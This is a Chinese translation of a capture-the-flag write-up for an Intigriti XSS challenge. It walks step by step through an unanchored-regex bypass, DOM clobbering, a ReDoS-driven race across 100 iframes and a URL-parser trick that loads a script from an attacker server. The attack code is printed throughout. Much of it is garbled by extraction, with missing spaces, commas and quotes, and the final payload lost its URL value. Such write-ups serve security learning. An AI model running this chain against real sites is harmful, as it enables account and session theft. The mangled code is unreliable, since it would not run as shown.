【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

admin 2025年5月18日03:15:05评论0 views字数 11488阅读38分17秒阅读模式

挑战从 开始/begin。我们输入姓名,点击提交,然后经过一个相当缓慢的旋转后,会收到一条问候信息。哦,还有五彩纸屑!🎉

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

我们可以按下 Ctrl+U 查看页面源代码,发现所有逻辑都隐藏在 中/script.js。我通常会截断一些代码,但这段代码很精简,所以请欣赏完整的代码:

// utils
functionsafeURL(url) {
letnormalizedURL=newURL(urllocation)
returnnormalizedURL.origin===location.origin
}

functionaddDynamicScript() {
constsrc=window.CONFIG_SRC?.dataset["url"||location.origin+"/confetti.js"
if (safeURL(src)) {
constscript=document.createElement('script');
script.src=newURL(src);
document.head.appendChild(script);
    }
}

// main
(function () {
constparams=newURLSearchParams(window.location.search);
constname=params.get('name');

if (name&&name.match(/([a-zA-Z0-9]+|s)+$/)) {
constmessageDiv=document.getElementById('message');
constspinner=document.createElement('div');
spinner.classList.add('spinner');
messageDiv.appendChild(spinner);

fetch(`/message?name=${encodeURIComponent(name)}`)
            .then(response=>response.text())
            .then(data=> {
spinner.remove();
messageDiv.innerHTML=DOMPurify.sanitize(data);
            })
            .catch(err=> {
spinner.remove();
messageDiv.innerHTML="Error fetching message.";
console.error('Error fetching message:'err);
            });

    } elseif (name) {
constmessageDiv=document.getElementById('message');
messageDiv.innerHTML="Error when parsing name";
    }

// Load some non-misison-critical content
requestIdleCallback(addDynamicScript);
})();

让我们来看一下代码。在// main注释下方,它定义了一个函数,并在底部使用 进行立即调用();。查询搜索字符串使用 进行解析URLSearchParams(),这是一种非常标准的方式,我已经非常了解它的工作原理了。当使用 获取参数值时.get('name'),它将是一个 URL 解码的字符串。它不能是数组;即使我们有多个相同的参数,也始终返回第一个。

正则表达式name匹配了一个似乎只允许字母数字字符和空格的正则表达式。正则表达式应该立即引起你的警惕,因为它们可能出错,而这次挑战并非个例。通过此检查后,该值将传递给一个/message?name=...请求,该请求会根据名称检索一些 HTML。最后,响应经过DOMPurify的过滤,并设置为.innerHTML<div id="message">

在这段代码的底部,requestIdleCallback(addDynamicScript)有一个奇怪的调用。(有限的)文档指出,给定的回调函数将在未来的某个时间被调用,当浏览器认为它处于“空闲”状态时。我们将在本挑战的后面部分深入理解这一点。请注意,这些操作不一定按顺序发生,因为fetch()是异步的,并且它定义了一个内联函数,一旦收到响应就会被调用。其余代码将立即继续执行。

addDynamicScript当调用该函数时,它会查找window.CONFIG_SRC?.dataset["url"],这是一个非常不寻常的 URL 查找位置,而且正如我们所见,Web 应用程序甚至不会使用它。默认的 URL 只是一个/confetti.js脚本,它会在我们的消息被放置后触发。它使用 对此 URL 执行了另一项有趣的检查safeURL(),该检查使用构造函数将 URL 规范化为绝对 URL URL()。如果来源与当前 URL 相同,则将其添加为脚本源。这听起来像是一个可以让我们执行任意 JavaScript 的小工具,而这正是本次挑战的目标。

我们已经看到了密码,现在我们必须破解它。

正则表达式绕过

我提到正则表达式很危险,现在我们正在看:

/([a-zA-Z0-9]+|s)+$/

每个符号都有特定的含义。使用Regexper等工具来理解所有内容,并使用RegExr来测试想法。这里我们看到,我们的字符串必须遵循“任意数量的字母数字,然后是行尾”的模式。一个常见的错误是,当你真正需要完全匹配时,却使用了部分匹配。这里,$检查了行尾之前的所有内容是否都是字母数字,但没有说明行首(^)!

这意味着我们可以用任意字符作为字符串的开头,.match()函数只会关心结尾。以下代码仍然可以绕过检查:

<imgsrconerror=alert()>x

注意x末尾的 ,它匹配末尾的任何字母数字字符,这正是正则表达式想要的。现在我们可以将特殊字符放入 中/message?name=

https://challenge-0525.intigriti.io/message?name=%3Cimg%20src%20onerror=alert()%3Ex

Hello, <strong><imgsrconerror=alert()>x</strong>! Welcome to the challenge.

太棒了!看来我们的payload没有转义,所以它会被解释成HTML文字。不过回顾一下代码,响应主体会先经过默认的、最新的DOMPurify处理。这可以防止我们传入的XSS Payload直接执行。

DOM 破坏

DOM Clobbering是一种名称有点滑稽的攻击,但在我们无法通过 HTML 注入直接实现 XSS 的情况下,这种攻击确实能派上用场。其原理是利用 JavaScript 的一个奇怪特性(众多特性之一),在浏览器中,HTML 元素可以通过对象id=上的简写访问window。我们来看一个例子:

<imgid="something">
<script>
// Normal way to get a reference to the HTML element
console.log(document.getElementById("something"));
// Using a shorthand
console.log(window.something);
// Using a shorter hand
console.log(something);
</script>

在我们的例子中,我们可以注意到以下“小工具”:

functionaddDynamicScript() {
constsrc=window.CONFIG_SRC?.dataset["url"||location.origin+"/confetti.js"
...
}

如果我们在 DOM 中创建它,它就window.CONFIG_SRC可以引用<img id="CONFIG_SRC">!我们利用 DOMPurify 进行了 HTML 注入,它不会将id=图片上的简单代码视为恶意代码,因此它会允许它通过。为了做一些有用的事情,我们需要控制url变量。它.dataset["url"]取自元素。properties.dataset指的是data-HTML 元素的属性,因此我们可以创建一个属性,data-url并使用我们选择的任何值来控制它。

<imgid="CONFIG_SRC"data-url="https://example.com">
<script>
console.log(window.CONFIG_SRC?.dataset["url"]);
// "https://example.com"
</script>

我们可以通过访问以下 URL 将其注入到挑战中:

https://challenge-0525.intigriti.io/index.html?name=%3Cimg%20id=%22CONFIG_SRC%22%20data-url=%22https://example.com%22%3Ex

访问并加载后,它window.CONFIG_SRC?.dataset["url"]似乎如预期的那样包含了我们的 URL。现在我们可以尝试在其中设置一个断点,addDynamicScript()看看它何时以及如何执行:

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

啊?我们立刻就碰到了断点,单步执行时,我们注意到我们精心修饰的 URL 是空的。如果我们让断点继续执行,再检查一遍,它就在那里。我们可以得出结论,我们的速度不够快

竞争条件requestIdleCallback

触发的回调requestIdleCallback()运行非常快,而fetch()我们注入的 HTML 响应却需要 2 秒以上的时间。这是一个问题,为了重新排列顺序,我们需要加快获取速度或减慢回调的速度

我首先考虑了如何加快获取速度。该端点似乎故意设计得很慢,但通过缓存,我们可以直接从浏览器获得快速响应。浏览器有时会自动进行缓存,以加快未来的请求速度,我们应该查看该/message端点的响应头,以确定它是否可缓存:

HTTP/2 200
date: Mon, 12 May 2025 19:23:46 GMT
content-type: text/plain; charset=utf-8
content-length: 77
x-powered-by: Express
etag: W/"4d-JZQWCSotk6wlqt2XAPfn4PZRYeo"
strict-transport-security: max-age=31536000; includeSubDomains

我们正在寻找Cache-ControlExpiresAge,但没有提供此类标头。这些标头通常会告诉浏览器如何缓存响应以及缓存多长时间。如果没有指定缓存方式,浏览器会使用一些启发式方法进行合理的猜测。缓存响应有两种状态需要理解:

  1. 新鲜:响应将立即返回,而无需检查服务器上的响应是否仍然相同。

  2. 过时:响应可能仍然有效,但首先通过额外的低带宽请求与服务器进行验证

对于没有任何标头作为老化依据的启发式方法,它所能做的最好的事情就是为响应创建一个过时的缓存条目。这就是为什么你If-None-Match:多次访问它时会看到带有标头和 304 状态码的请求。如果没有缓存控制标头,这种情况总是会在返回缓存条目之前发生。这意味着我们仍然需要等待 2 秒以上的延迟才能获取缓存。

如果我们不能加快请求速度,就必须以某种方式减慢回调速度。网上几乎找不到关于“requestIdleCallback”的资料,除了规范中一张有用的图:

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

完成给定帧的输入处理、渲染和合成后,用户代理的主线程通常会处于空闲状态,直到以下情况发生:下一帧开始;另一个待处理任务有资格运行;或者收到用户输入。本规范提供了一种方法,可以通过requestIdleCallback()API 安排回调在此空闲时间内执行。

通过 API 发布的回调requestIdleCallback()可以在用户代理定义的空闲期间运行。

由此我们得知,如果浏览器在一帧中有一段时间没有执行任何操作,则可能会触发空闲回调。在像这样的简单网页中,浏览器在每一帧结束时肯定有大量空闲时间,并且可以在注册回调后几乎立即运行。我们需要降低回调的速度。

一个简单的想法是,让浏览器的渲染器承受如此多的计算压力,以至于它无法稳定地保持 60 FPS,而是不得不消耗超过每帧可用毫秒数的计算时间。这样一来,空闲回调就没有空间执行了;这正是我们想要的。

functionbusyWait() {
conststart=performance.now();
while (performance.now() -start<1000) {
// This empty loop will keep the CPU busy
  }

requestAnimationFrame(busyWait);
}
busyWait();

在运行上述代码时,我们可以测试空闲回调需要多长时间才能触发:

// Register a callback every 100ms, measuring how long until it triggers
setInterval(() => {
constn=Date.now();
requestIdleCallback(() =>console.log(Date.now() -n));
}, 100);

我们在浏览器中尝试了一下,发现调用之后根本没有任何回调日志busyWait()

但是……当我们尝试对远程实例执行相同操作时,我们遇到了问题。我们可以将其放入 iframe 中,然后在攻击者的页面上运行缓慢的 JavaScript,希望以此降低帧速度,但这并没有发生。

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

记录攻击者的整个页面和 iframe 内部,只有攻击者的进程被阻塞,目标页面仍然像什么都没发生一样运行。这是由于进程隔离,不同的框架可以在不同的线程中运行,尤其是在跨域的情况下。我们需要使用目标页面的源(或许在另一个 iframe 中)来减慢目标页面的速度。

我想到的一个想法是使用我们的 DOMPurify HTML 注入来执行一些非常繁重的渲染操作,从而降低页面速度。<style>标签仍然允许,这使得向文档应用繁重的样式变得容易,并减慢整个处理速度,包括其他同源 iframe,例如我们想要竞争条件的那个。以下样式可以实现这一点:

@keyframeslag {
0% { transformrotate(0scale(1); text-shadow0080pxblack; }
100% { transformrotate(calc(1deg * pow(10100))) scale(100); text-shadow00120pxblack; }
}
* {
animationlag10slinearinfinite;
}

https://challenge-0525.intigriti.io/index.html?name=%3Cstyle%3E%40keyframes%20lag%7B0%25%7Btransform%3Arotate%280%29%20scale%281%29%3Btext%2Dshadow%3A0%200%2080px%20black%7D100%25%7Btr ansform%3Arotate%28calc%281deg%2Apow%2810%2C100%29%29%29%20scale%28100%29%3Btext%2Dshadow%3A 0%200%20120px%20black%7D%7D%2A%7Banimation%3A10s%20线性%20无限%20lag%7D%3C%2Fstyle%3Ex) scale(100)%3Btext-shadow%3A0 0 120px black}}*{animation%3A10s linear infinite lag}<%2Fstyle>x)

大型动画会严重拖慢浏览器速度,而在此期间,我们可以在另一个 iframe 中加载目标页面。由于此同源框架将使用相同的流程,因此速度也会减慢。fetch()触发了回调函数,并注册了回调函数,但目前还没有时间运行该回调函数。过了一会儿,fetch 函数会收到响应并将其写入 DOM,我们就可以移除原来卡顿的 iframe 了。这样一来,浏览器就能恢复速度,并能够使用已损坏的 DOM 触发回调函数和我们的小工具了!

functioncreateIframe(src) {
constiframe=document.createElement("iframe");
iframe.src=
"https://challenge-0525.intigriti.io/index.html?"+
newURLSearchParams({
namesrc,
    });
document.body.appendChild(iframe);
returniframe;
}

constlagFrame=createIframe(`
<style>
@keyframes lag {
0% { transform: rotate(0) scale(1); text-shadow: 0 0 80px black; }
100% { transform: rotate(calc(1deg * pow(10, 100))) scale(100); text-shadow: 0 0 120px black; }
}
* {
animation: lag 10s linear infinite;
}
</style>x`);
setTimeout(() => {
constxssFrame=createIframe(`<img id="CONFIG_SRC" >x`);
xssFrame.onload= () => {
setTimeout(() => {
lagFrame.remove();
    }, 3000);
  };
}, 5000);

这在 Chrome 浏览器中是可以的。整个过程结束后,会发出一个请求来/anywhere执行。但不幸的是,这在 Firefox 浏览器中似乎不起作用。它受 CSS 的影响较小,并且不知何故仍然有时间执行空闲回调。

我尝试了多种针对 Firefox 的繁重 CSS 变体,创建了漂亮的图片,但却无法减少空闲回调。这让我转向了一种略有不同的方法:像我们之前提到的那样让 JavaScript 变得繁忙busyWait()(这种方法在 Firefox 上确实有效)。

事实证明,用于验证我们输入的正则表达式还有另一个问题:它容易受到“灾难性回溯”或 ReDoS(正则表达式拒绝服务)攻击。您可以使用在线工具轻松检查这一点,该工具还会生成一个概念证明:

"00000000000000000000000000000000!".match(/([a-zA-Z0-9]+|s)+$/)

运行这个程序确实会让浏览器挂起一段时间,我们可以使用恶意name输入来触发它。不再需要复杂的 CSS 了,而且这次它在 Firefox 上也能正常工作!

https://challenge-0525.intigriti.io/index.html?name=000000000000000000000000000000000%21

嗯,这种延迟处理的方式与我们之前的 CSS 截然不同。它持续阻止空闲回调触发,同时允许其他 JavaScript 偶尔运行。ReDoS 是一次性的;它需要很长时间才能完成一次,但这样做的同时,却没有给fetch()我们想要发生的事情留下任何空间。然而,如果我们能够在启动抓取和等待第一帧返回以触发空闲回调之间找到平衡,我们就可以停止该过程,直到抓取完成,然后让它再次继续。

我们需要对竞争条件进行竞争,但这次我们可以简化一下。通过生成 100 个 iframe 并让它们都参与竞争,我们只需要赢得一个即可。在加载这 100 个 iframe 时,我们会生成一个充当滞后帧的 iframe,阻止所有其他帧的加载。希望至少有一个 iframe 的加载时间恰到好处,以便在空闲回调触发之前请求返回。以下是实现:

for (leti=0i<100i++) {
if (i==10) {
// Firefox's can be a bit longer because it throws a recursion error after ~5 seconds
constredos=navigator.userAgent.includes("Firefox"?"000000000000000000000000000000!" : "0000000000000000000000000000!";
createIframe(redos);
  } else {
createIframe(`<img id="CONFIG_SRC" >x`);
  }
}

现在,在 Chrome 和 Firefox 上,我们都可以使用 DOM Clobbering 以一致的方式加载任何同源脚本。

绕过URL来源验证

提醒您,这是我们面临的检查:

functionsafeURL(url) {
letnormalizedURL=newURL(urllocation)
returnnormalizedURL.origin===location.origin
}

functionaddDynamicScript() {
constsrc=window.CONFIG_SRC?.dataset["url"||location.origin+"/confetti.js"
if (safeURL(src)) {
constscript=document.createElement('script');
script.src=newURL(src);
document.head.appendChild(script);
    }
}

现在到了我认为这项挑战最酷的部分,因为一开始我真的认为这是不可能的。但真正让我开始深入研究的是,同样的检查可以轻松地通过CSP实现,而且这项挑战的发起人 Johan 非常喜欢 CSP。

该函数使用第二个参数 来safeURL()解析 URL 。如果 URL 是相对路径,则使用 base 来填充原点和路径。例如:URL()base

newURL("https://jorianwoltjer.com""https://example.com").href
// 'https://jorianwoltjer.com/'
newURL("relative""https://example.com").href
// 'https://example.com/relative'
newURL("relative""https://example.com/some/base/").href
// 'https://example.com/some/base/relative'

如果.origin解析后的 URL 的 与挑战页面的源 ( ) 相同https://challenge-0525.intigriti.io,则认为该 URL 是“安全的”。然后,系统会再次解析该 URL,这次没有使用基地址,因此它必须是绝对 URL。之后,它会作为脚本标记插入到 DOM 中。

这样一来,目标就变得清晰了:在相对和绝对 URL 解析器中找到一些差异,以便在检查过程中,它是质询的来源,但在使用过程中,它是我们控制的恶意 URL。如果你对此感兴趣,可以参考 URL 解析的规范。我注意到,它基本上首先设置结果 URL 的基准 URL 所有部分,然后仅根据找到的部分,使用相对 URL 进行修改。规范中有很多细节可能难以理解,因此在这种情况下,选择直接进行模糊测试可能是更好的选择。

我们可以采取 URL和混淆中常见的一些特殊字符和关键字来检查如果以这两种不同的方式解析,它们是否会导致来源的差异。

第一步是在一个简单的函数中重新创建检查,以验证我们是否找到了圣杯:

functiontest(url) {
try {
consturl1=newURL(urllocation);
consturl2=newURL(url);

if (url1.origin!==url2.origin) {
console.log(url"=>"url1.originurl2.origin);
    }
  } catch (e) { }
}

我们忽略错误,因为许多疯狂的语法都不是有效的 URL,并寻找两种解析方式的来源何时不同。

然后剩下的就是收集 URL 的某些部分并以多种排列组合起来:

letstrings= ["""https"":""//""example.com"":""1337""@""x""/""!""?""#""&""a=b"]

for (leti=0i<strings.lengthi++) {
for (letj=0j<strings.lengthj++) {
for (letk=0k<strings.lengthk++) {
for (letl=0l<strings.lengthl++) {
leturl=strings[i+strings[j+strings[k+strings[l];
test(url);
      }
    }
  }
}
console.log("done");

在https://challenge-0525.intigriti.io/index.html的上下文中运行此代码,我们很快得到很多结果,例如:

https:example.com=> https://challenge-0525.intigriti.io https://example.com

真的吗?我们只是从 URL 中删除//,相对解析器就会将其视为路径,而绝对解析器则会将其视为常规的完整 HTTPS URL?

newURL("https:example.com"location).href
// 'https://challenge-0525.intigriti.io/example.com'
newURL("https:example.com").href
// 'https://example.com/'

这对我们来说非常完美,因为我们现在只需设置data-url=并将其指向我们的服务器即可返回任意内容:

<body>
<script>
functioncreateIframe(src) {
constiframe=document.createElement("iframe");
iframe.src=
"https://challenge-0525.intigriti.io/index.html?"+
newURLSearchParams({
namesrc,
        });
document.body.appendChild(iframe);
returniframe;
    }

for (leti=0i<100i++) {
if (i==10) {
constredos=navigator.userAgent.includes("Firefox"?"000000000000000000000000000000!" : "0000000000000000000000000000!";
createIframe(redos);
      } else {
createIframe(`<img id="CONFIG_SRC" >x`);
      }
    }
</script>
</body>

将其托管在攻击者的网站上并引导受害者访问该网站,将会加载一堆 iframe,几秒钟后,其中一个将赢得竞争并加载我们注入的脚本,从而触发 XSS!

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式GG。虽然在这次挑战中,CSS 性能的不一致让我有点恼火,但酷炫的 URL 解析绕过弥补了这一点,这表明 JavaScript 和浏览器的怪癖似乎永无止境。

原文地址:

https://jorianwoltjer.com/blog/p/hacking/intigriti-xss-challenge/0525

免费网络安全资料PDF大合集

链接:https://pan.quark.cn/s/41b02efa09e6

【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

原文始发于微信公众号(安全视安):【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日03:15:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【翻译】利用 100 个< iframe >的竞争条件,绕过正则表达式http://cn-sec.com/archives/4076186.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息